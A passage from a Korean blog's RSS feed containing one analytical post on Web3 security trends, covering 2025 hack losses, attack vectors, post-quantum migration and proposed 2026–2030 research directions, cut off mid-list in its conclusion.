<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>c0mpos3r</title>
    <link>https://c0mpos3r.tistory.com/</link>
    <description>음악보다 컴퓨터를 좋아하는 음대생입니다.</description>
    <language>ko</language>
    <pubDate>Tue, 7 Apr 2026 02:53:19 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>음대생</managingEditor>
    <image>
      <title>c0mpos3r</title>
      <url>https://tistory1.daumcdn.net/tistory/7182921/attach/a9e9ad78a5644e0c9a8269019425118b</url>
      <link>https://c0mpos3r.tistory.com</link>
    </image>
    <item>
      <title>Web3 보안의 구조적 전환: 2026년, 우리는 무엇을 준비해야 하는가</title>
      <link>https://c0mpos3r.tistory.com/32</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론부터 말하면, Web3 보안은 &quot;코드를 감사하는 시대&quot;에서 &quot;시스템을 설계하는 시대&quot;로 전환 중이다.&lt;/b&gt; 2025년 한 해 동안 Web3 생태계에서 도난된 자산은 33.75억 달러. 이 중 단 두 건의 사건(Bybit, Cetus Protocol)이 전체 피해의 72%를 차지했다. 이 수치가 말해주는 것은 단순하다. 공격자는 이미 구조적으로 사고하고 있는데, 방어자는 여전히 점진적으로 대응하고 있다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 현재 업계가 직면한 위협 구조를 분해하고, AI와 블록체인의 수렴이 만들어낼 새로운 공격면과 방어 기회를 분석하며, 향후 연구 방향에 대한 메타 분석적 전망을 제시한다. 일론 머스크의 제1원리 사고(First Principles Thinking)와 피터 틸의 반직관적 사고(Contrarian Thinking)를 렌즈로 활용하여, 업계가 간과하고 있는 비자명한 연결 고리들을 드러내는 것이 목적이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;I. 현황: 숫자가 드러내는 구조적 실패&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;피해 규모의 역설&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CertiK의 2025 Hack3D 보고서와 Beosin의 연간 보안 리포트를 교차 분석하면 흥미로운 패턴이 보인다. 2025년 전체 보안 사건 수는 전년 대비 감소했지만, 총 피해액은 37% 증가했다. 건당 평균 피해액은 532만 달러로 66.6% 상승한 반면, 중위값은 10.4만 달러로 35.7% 하락했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것은 무엇을 의미하는가? &lt;b&gt;공격이 양극화되고 있다.&lt;/b&gt; 소규모 익스플로잇은 줄어드는 반면, 소수의 초대형 공격이 전체 피해를 지배한다. Bybit 단일 사건이 14.5억 달러, 연간 피해의 42.7%를 차지한 사실이 이를 증명한다. 공격자는 더 적은 횟수로, 더 큰 규모의 작전을 수행하는 방향으로 진화하고 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;공격 벡터의 이동&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2025년 공격 벡터별 분류는 업계의 보안 투자가 어디에서 실패하고 있는지를 명확히 보여준다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;접근 제어 익스플로잇(Access Control Exploits)&lt;/b&gt;: H1 2025 기준 18.3억 달러 피해. 3분기 연속으로 최대 해킹 사건이 Safe 멀티시그 지갑과 관련되었다. 스마트 컨트랙트 결함이 아니라, 운영 보안(OpSec)의 실패다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;피싱 및 소셜 엔지니어링&lt;/b&gt;: 2025년 H1에서 6억 달러, Q2에서 3.95억 달러. 가장 빈번한 공격 벡터로 부상했다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공급망 공격&lt;/b&gt;: Bybit 사건의 핵심 수법. Safe{Wallet}이라는 신뢰받는 서드파티 소프트웨어의 공급망을 침투하여 멀티시그 서명자를 속였다. Beosin은 이를 2025년 최대 위협으로 지목했다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AI 관련 익스플로잇&lt;/b&gt;: Hacken 보고서에 따르면 전년 대비 1,025% 급증. 주로 불안전한 API와 취약한 추론 설정에서 발생.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;여기서 제1원리적으로 질문해야 한다&lt;/b&gt;: 우리가 &quot;보안 감사&quot;라고 부르는 것의 본질은 무엇인가? 업계는 스마트 컨트랙트 코드의 정확성을 검증하는 데 집중해왔다. 그러나 2025년의 데이터는 코드 취약점이 전체 피해의 2% 미만을 차지한다고 말하고 있다. &lt;b&gt;감사 대상 자체가 잘못 설정되어 있었다.&lt;/b&gt; 실제 공격면은 코드가 아니라 인간과 인프라의 접점, 서드파티 의존성, 그리고 운영 프로세스에 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;국가 행위자라는 구조적 위협&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Chainalysis의 2025년 보고서에 따르면 북한 연계 해커들이 단일 연도 기준 20.2억 달러를 탈취했다. 이는 전년 대비 51% 증가한 수치이며, 2017년 이후 누적 피해액은 67.5억 달러에 달한다. Lazarus Group이 실행한 Bybit 공격 하나가 15억 달러, 북한 전체 탈취액의 74%를 차지했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주목해야 할 것은 이들의 전술 진화다. 더 이상 단순한 피싱이나 익스플로잇이 아니다. TraderTraitor라는 하위 그룹은 LinkedIn에서 보안 연구자와 크립토 엔지니어를 대상으로 가짜 채용 제안, 학회 초대, 연구 협업을 통해 수주간 신뢰를 쌓은 후 공격한다. 이것은 사이버 작전이라기보다 인간 정보작전(HUMINT)에 가깝다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 심각한 함의는 이것이다: UN 추정치에 따르면 암호화폐 탈취가 북한 GDP의 약 13%를 구성한다. 이는 더 이상 사이버 범죄가 아니라, 탈중앙 기술을 무기화한 국가 경제 전략이다. 이 현실을 직시하지 않는 보안 프레임워크는 근본적으로 불완전하다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;II. 심층 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글의 핵심 질문은 &quot;Web3 보안과 AI/블록체인 수렴의 미래는 어떻게 전개될 것인가&quot;이다. 이는 복잡한 시스템의 이해와 새로운 아이디어 도출을 동시에 요구하므로, &lt;b&gt;복잡성 분해 + 창의적 연결 + 역설 사고&lt;/b&gt;를 결합하여 적용한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;A. 복잡성 분해: Web3 보안 시스템의 구성요소&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Web3 보안을 하나의 시스템으로 분해하면 다음과 같은 레이어가 드러난다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;레이어 1: 암호학적 기반:&lt;/b&gt;&amp;nbsp;ECDSA, 해시 함수, 영지식 증명 등 수학적 보안의 토대.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;레이어 2: 프로토콜 로직:&lt;/b&gt;&amp;nbsp;스마트 컨트랙트, AMM 불변식, 오라클 설계 등 on-chain 비즈니스 로직.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;레이어 3: 인프라 &amp;amp; 의존성:&lt;/b&gt;&amp;nbsp;멀티시그 지갑, 브릿지, 프론트엔드, SDK, 서드파티 서비스 등 off-chain 의존 관계.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;레이어 4: 인간 &amp;amp; 운영:&lt;/b&gt;&amp;nbsp;키 관리, 거버넌스, 접근 제어, 소셜 엔지니어링 방어 등 조직적 보안.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;레이어 5: 경제적 인센티브:&lt;/b&gt;&amp;nbsp;MEV, 플래시론, 유동성 구조, 보상/처벌 메커니즘 등 게임 이론적 보안.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;레버리지 포인트 식별&lt;/b&gt;: 2025년 데이터가 명확히 가리키는 것은, 업계의 보안 투자가 레이어 2에 과도하게 집중되어 있는 반면, 실제 피해의 대부분은 레이어 3과 레이어 4에서 발생한다는 것이다. Bybit, Ronin, Atomic Wallet 등 역대급 해킹은 모두 스마트 컨트랙트 버그가 아니라 운영 보안과 인프라 의존성의 실패였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;피드백 루프&lt;/b&gt;: 대형 해킹 -&amp;gt; 규제 강화 -&amp;gt; 중앙화된 보안 솔루션 도입 -&amp;gt; 새로운 단일 장애점 생성 -&amp;gt; 다시 대형 해킹. 이것이 현재 업계가 갇혀 있는 강화 루프다. BalancerV2 사례에서 봤듯이, 위기 상황에서 Berachain은 체인을 중단했고, Sonic은 공격자 주소를 동결했으며, Gnosis는 브릿지를 제한했다. &quot;탈중앙화&quot; 시스템이 위기 시 드러내는 중앙화된 통제력은, 보안과 탈중앙화 사이의 근본적 긴장을 노출한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;B. AI x Web3 보안&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 도메인의 수렴을 분석한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공통점&lt;/b&gt;: AI와 블록체인은 모두 &quot;신뢰&quot;의 문제를 다룬다. AI는 데이터와 추론의 신뢰성을, 블록체인은 거래와 상태의 신뢰성을 보장하려 한다. 둘 다 검증 가능성(verifiability)을 핵심 가치로 삼는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결정적 차이점&lt;/b&gt;: 블록체인은 설계상 투명하지만 AI 모델은 본질적으로 불투명하다. 블록체인은 결정론적인 반면, AI 추론은 확률적이다. 이 충돌이 수렴의 가장 큰 기술적 과제이자 기회를 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A의 원리를 B에 적용&lt;/b&gt;: AI의 패턴 인식 능력을 블록체인 보안에 적용하면? 이미 시작되고 있다. AI 기반 감사 도구, 실시간 이상 거래 탐지, 예측적 위험 분석 등이 그것이다. 그러나 더 근본적인 적용이 가능하다: &lt;b&gt;형식 검증(Formal Verification)의 자동화&lt;/b&gt;. arXiv에 게재된 Ozdag(2025)의 서베이 논문은 전통적 감사 기법(수동 코드 리뷰, 형식 검증)이 확장성과 적응성에서 한계를 보이며, AI 기반 솔루션이 대안으로 부상하고 있음을 지적한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;역설적 조합&lt;/b&gt;: AI가 보안을 강화하는 동시에 새로운 공격면을 생성한다. Hacken의 보고서에서 AI 관련 익스플로잇이 1,025% 급증한 것이 이를 증명한다. 보안을 위해 도입한 AI 에이전트가 프라이빗 키에 접근할 때, 그 에이전트 자체가 공격 대상이 된다. 이것은 &quot;보안 도구가 보안 취약점이 되는&quot; 재귀적 역설이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;C. 다차원 분석: 시간축&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;과거 원인&lt;/b&gt;: 2021년 9월, 개별 프로토콜이 BasePool의 안전성 가정을 깨는 오버라이드를 도입했다(BalancerV2 사례). 이런 &quot;가정 체인의 파괴&quot;가 수년간 잠복하다 대규모 익스플로잇으로 표면화되는 패턴이 반복되고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 상태(2025-2026)&lt;/b&gt;: 세 가지 거대한 힘이 수렴하고 있다. AI 에이전트의 자율적 경제 참여, 실물자산 토큰화(RWA)의 기관 채택, 그리고 양자 컴퓨팅의 현실화. 블록체인 AI 시장은 2025년 약 7억 달러에서 2029년 18.8억 달러로, 연 28% 성장이 전망된다. 블록체인 보안 시장은 2024년 20.7억 달러에서 2025년 28.9억 달러로 확장되었으며, 2029년까지 103.8억 달러에 이를 것으로 예측된다(CAGR 37.7%).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;미래 전개&lt;/b&gt;: 가장 시급한 위협은 양자 컴퓨팅이다. Cambridge Judge Business School(2025)의 분석에 따르면, 2025년 연구에서 RSA-2048 해독에 필요한 논리 큐비트 수가 약 1,399개로 대폭 감소했다. 이전에 수십 년 후로 예상되던 타임라인이 10년 이내로 앞당겨진 것이다. Frontiers in Computer Science(2025)에 게재된 논문은 비트코인의 포스트-양자 블록체인 이전을 2026년까지 완료할 것을 권고한다. 그러나 현실은? 2004-2025년 사이 1,725건의 암호학 도입 사례를 분석한 결과, 포스트-양자 알고리즘은 단 6건(0.35%)에 불과했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Harvest Now, Decrypt Later(HNDL)&quot; 전략은 이미 실행 중이다. 미국 연방준비제도의 2025년 논문은 오늘 블록체인에서 수집된 데이터가, 양자 컴퓨터가 실용화되는 시점에 복호화될 수 있음을 경고한다. 이것은 미래의 위협이 아니라 현재의 위협이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;III. 제1원리와 반직관&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&quot;보안&quot;의 본질은 무엇인가&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머스크가 로켓의 원가를 원자재 수준으로 분해했듯이, Web3 보안을 제1원리에서 재구성해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가정 1: &quot;감사를 받으면 안전하다.&quot;&lt;/b&gt; 이것은 유비 추론(reasoning by analogy)이다. 전통 금융에서 회계감사가 신뢰를 보장했으니, 스마트 컨트랙트 감사도 마찬가지일 것이라는 가정. 그러나 제1원리적으로 보면, 감사는 특정 시점의 특정 범위에 대한 정적 검증에 불과하다. 시스템은 감사 후에도 변한다. 의존성이 업데이트되고, 구성이 바뀌고, 인간이 실수한다. BalancerV2 사례에서 코드는 정확했지만 수학적 가정이 깨져 있었다. floor(a) + floor(b) &amp;lt;= floor(a+b)라는 성질이 반복 swap에서 한 번도 테스트되지 않았다. &lt;b&gt;코드 정확성과 수학적 건전성은 다른 문제다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가정 2: &quot;탈중앙화가 보안을 강화한다.&quot;&lt;/b&gt; 제1원리: 탈중앙화는 단일 장애점을 제거하지만, 공격면을 확장한다. 더 많은 노드, 더 많은 브릿지, 더 많은 인터페이스는 더 많은 진입점을 의미한다. 보안의 물리적 본질에서 보면, 방어해야 할 표면적이 넓어질수록 단위 면적당 방어 밀도가 낮아진다. 이것이 멀티체인 환경에서 크로스체인 브릿지가 반복적으로 공격당하는 근본 원인이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가정 3: &quot;더 많은 감사 = 더 안전.&quot;&lt;/b&gt; 제1원리: 보안은 가장 약한 고리에 의해 결정된다(Liebig's Law). 스마트 컨트랙트에 10번의 감사를 받아도, Safe{Wallet} 공급망이 침투당하면 무의미하다. 투자의 한계효용은 가장 약한 레이어에 집중할 때 최대화된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&quot;아무도 동의하지 않는 중요한 진실은 무엇인가?&quot;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피터 틸의 시그니처 질문을 Web3 보안에 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;반직관적 진실 1: &quot;보안의 미래는 예방이 아니라 회복력(resilience)에 있다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;업계의 합의는 &quot;해킹을 막아야 한다&quot;이다. 그러나 2025년 반환된 자금 비율이 Q1에서 0.38%에 불과했다는 사실은, 예방 중심 접근의 한계를 드러낸다. 반직관적 접근은 이것이다: &lt;b&gt;해킹은 불가피하다고 가정하고, 피해를 최소화하고 복구하는 시스템을 설계하라.&lt;/b&gt; 생물학에서 면역 체계는 모든 병원체를 차단하는 것이 아니라, 감염을 탐지하고 대응하고 기억하는 시스템이다. Web3 보안도 이런 방향으로 진화해야 한다. 실시간 모니터링, 자동화된 회로 차단기(circuit breaker), 피해 범위 제한 설계(blast radius limitation), 사후 복구 프로토콜이 예방적 감사만큼 중요해져야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;반직관적 진실 2: &quot;경쟁이 아니라 독점이 보안을 향상시킨다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;틸은 독점이 혁신을 가능케 한다고 주장했다. 현재 Web3 보안 시장은 파편화되어 있다. 수백 개의 감사 회사가 동질적인 서비스를 제공하며 가격 경쟁을 벌인다. 이것은 틸이 말하는 &quot;완전 경쟁의 파괴적 특성&quot;과 정확히 일치한다. 진정한 보안 혁신은, 단일 프로젝트의 코드를 검토하는 것이 아니라, 생태계 전체의 보안 인프라를 재설계하는 0-to-1 프로젝트에서 나올 것이다. Hypernative가 Bybit 공격을 3분 만에 탐지한 것은 이런 방향의 초기 사례다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;반직관적 진실 3: &quot;가장 큰 위협은 기술이 아니라 시간이다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;양자 컴퓨팅 위협에 대한 업계의 반응은 &quot;아직 시간이 있다&quot;이다. 그러나 HNDL 전략을 고려하면, 시간은 이미 없다. 오늘 체인에 기록된 데이터가 5년 후 복호화될 수 있다면, 포스트-양자 이전의 데드라인은 양자 컴퓨터가 실용화되는 시점이 아니라, 보호하려는 데이터의 유효 기간만큼 앞당겨진다. Ethereum Foundation이 2026년 1월 PQ 보안을 최우선 과제로 선언한 것은 이 인식의 반영이지만, 실제 PQC 알고리즘 도입율이 0.35%에 불과한 현실과의 괴리가 크다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;IV. 2026-2030 연구 방향과 미래 전망&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;확정적 낙관(Definite Optimism)의 관점에서&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;틸이 비판하는 &quot;막연한 낙관(Indefinite Optimism)&quot; -- 미래가 좋아질 거라 믿지만 구체적 계획이 없는 태도 -- 이 현재 Web3 보안 업계의 지배적 심리 상태다. &quot;AI가 해결해 줄 것이다&quot;, &quot;양자 컴퓨터는 아직 멀었다&quot;, &quot;규제가 정비되면 나아질 것이다.&quot; 이런 막연한 기대 대신, 구체적 계획이 필요하다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;연구 방향 1: AI-Native Security Infrastructure&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 에이전트가 자율적으로 거래하고, 협상하고, 포트폴리오를 관리하는 2026년의 현실에서, 보안의 단위는 &quot;사람&quot;에서 &quot;에이전트&quot;로 확장된다. 연구 과제:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;에이전트 신원 검증과 행위 감사&lt;/b&gt;: ERC-6551과 계정 추상화를 기반으로, AI 에이전트가 독립적 경제 주체로 활동할 때의 책임 추적 체계. 블록체인 위에서 AI의 의사결정을 검증 가능하게 기록하는 프레임워크가 필요하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;적대적 AI 대 방어적 AI&lt;/b&gt;: AI가 소셜 엔지니어링을 자동화하고, 딥페이크로 신원을 위조하며, 모델 포이즈닝으로 보안 시스템을 무력화하는 공격에 대한 방어. Nature에 게재된 Scientific Reports(2026) 논문이 제시한 &quot;블록체인 기반 IoT 신원 관리 + 비잔틴 저항 연합학습&quot; 아키텍처가 하나의 방향을 제시한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LLM 기반 취약점 분석의 한계 정의&lt;/b&gt;: AI 감사 도구가 어디까지 신뢰할 수 있는지, 그 경계를 명확히 하는 연구. &quot;AI가 발견하지 못하는 취약점의 유형&quot;을 체계적으로 분류하는 작업이 선행되어야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;연구 방향 2: Post-Quantum Migration Engineering&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이론적 PQC 알고리즘은 NIST가 이미 표준화했다(ML-KEM, ML-DSA, SLH-DSA). 문제는 구현과 이전이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;이전 프로토콜 설계&lt;/b&gt;: 기존 키를 PQ-safe 키로 바인딩하는 메커니즘. QANplatform의 XLINK가 MetaMask 사용자가 기존 ECDSA 키를 ML-DSA 트윈에 바인딩하는 방식은 참고할 만한 접근이다. 그러나 이전 과정에서의 보안 마이그레이션 자체가 공격면이 되지 않는지에 대한 연구가 부족하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;성능-보안 트레이드오프&lt;/b&gt;: PQ 서명은 현재 서명보다 최대 40배 크다. L2 환경에서 이것이 가스 비용과 처리량에 미치는 영향, 그리고 이를 완화하는 하드웨어 가속 연구.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;크로스체인 PQ 호환성&lt;/b&gt;: 하나의 체인이 PQC를 도입해도, 브릿지를 통해 연결된 체인이 도입하지 않으면 전체 시스템의 보안은 가장 약한 체인에 의해 결정된다. 이종 암호 체계 간의 상호 운용성 연구.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;연구 방향 3: 공급망 보안의 형식화&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2025년 최대 위협인 공급망 공격에 대한 체계적 방어 프레임워크가 부재하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;의존성 그래프의 자동 생성과 실시간 모니터링&lt;/b&gt;: 프로토콜이 의존하는 모든 서드파티 컴포넌트(SDK, 오라클, 프론트엔드, 지갑 인터페이스)의 무결성을 on-chain에서 검증하는 메커니즘.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;제로 트러스트 서명 아키텍처&lt;/b&gt;: 멀티시그의 재설계. &quot;누가 서명했는가&quot;만이 아니라 &quot;어떤 환경에서, 어떤 컨텍스트로 서명했는가&quot;를 검증하는 서명 프로토콜. Bybit 사건에서 CEO는 &quot;일상적인 전송을 승인한다고 생각했다.&quot; 서명의 의미론적 검증(semantic verification)이 필요하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인간-기계 인터페이스 보안&lt;/b&gt;: &quot;화면에 보이는 것을 신뢰할 수 있는가?&quot; Lazarus Group의 Bybit 공격은 조작된 UI를 통해 이루어졌다. 하드웨어 월렛의 디스플레이에서 직접 트랜잭션 내용을 검증하는 것조차, 디스플레이 자체가 조작될 수 있다면 불충분하다. 트랜잭션의 의도와 실행 사이의 일치를 보장하는 새로운 검증 레이어 연구.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;연구 방향 4: 경제적 보안 메커니즘의 재설계&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;보안을 외부비용에서 내부비용으로&lt;/b&gt;: 현재 해킹 피해는 사용자에게 전가된다. 프로토콜이 보안 보증금을 예치하고, 해킹 시 자동으로 보상하는 경제적 메커니즘. 이것은 전통 보험의 블록체인 네이티브 버전이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;공격자 인센티브 구조의 역전&lt;/b&gt;: 화이트햇 보상이 공격 수익을 초과하는 구조를 어떻게 설계할 것인가. 2025년 화이트햇이 인터셉트한 금액이 ~60만 달러에 불과했다는 사실은, 현재의 버그 바운티 체계가 구조적으로 불충분함을 시사한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;V. 결론: 형태가 아니라 기능을 투사하라&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머스크가 지적했듯, 대부분의 사람들은 미래를 상상할 때 &quot;현재의 형태&quot;를 투사한다. &quot;날아다니는 자동차&quot;를 상상하지, &quot;비행 수단의 혁신&quot;을 상상하지 못한다. Web3 보안 업계도 같은 함정에 빠져 있다. &quot;더 나은 감사&quot;, &quot;더 많은 모니터링&quot;, &quot;더 엄격한 규제&quot;를 말하지만, 이것은 현재 형태의 연장일 뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기능으로부터 역추적하면 질문이 달라진다. 우리가 보장하려는 것은 무엇인가? &quot;코드에 버그가 없는 것&quot;이 아니라, &quot;사용자의 자산과 의도가 보호되는 것&quot;이다. 이 기능을 달성하기 위한 형태는, 현재의 감사 중심 패러다임과 전혀 다를 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;틸의 프레임으로 보면, 우리는 1에서 n으로 가는 작업(기존 감사 방법론의 점진적 개선)에 압도적 자원을 투입하면서, 0에서 1로 가는 작업(보안 패러다임 자체의 재설계)에는 투자하지 않고 있다. 2025년의 33.75억 달러 피해는 이 불균형의 결과다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로 5년, 이 분야의 진정한 혁신은 세 가지 수렴점에서 나올 것이다: AI가 형식 검증과 실시간 방어를 자동화하는 시점, 포스트-양자 암호가 프로토콜 수준에서 기본 인프라가 되는 시점, 그리고 보안이 사후 감사에서 프로토콜 설계의 내재적 속성으로 전환되는 시점. 이 세 시점의 교차가 Web3 보안의 0-to-1 모멘트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;구체적으로 무엇을 해야 하는가&lt;/b&gt;:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지금 당장 포스트-양자 이전 계획을 수립하라.&lt;/li&gt;
&lt;li&gt;AI 에이전트의 on-chain 행위에 대한 감사 프레임워크를 연구하라.&lt;/li&gt;
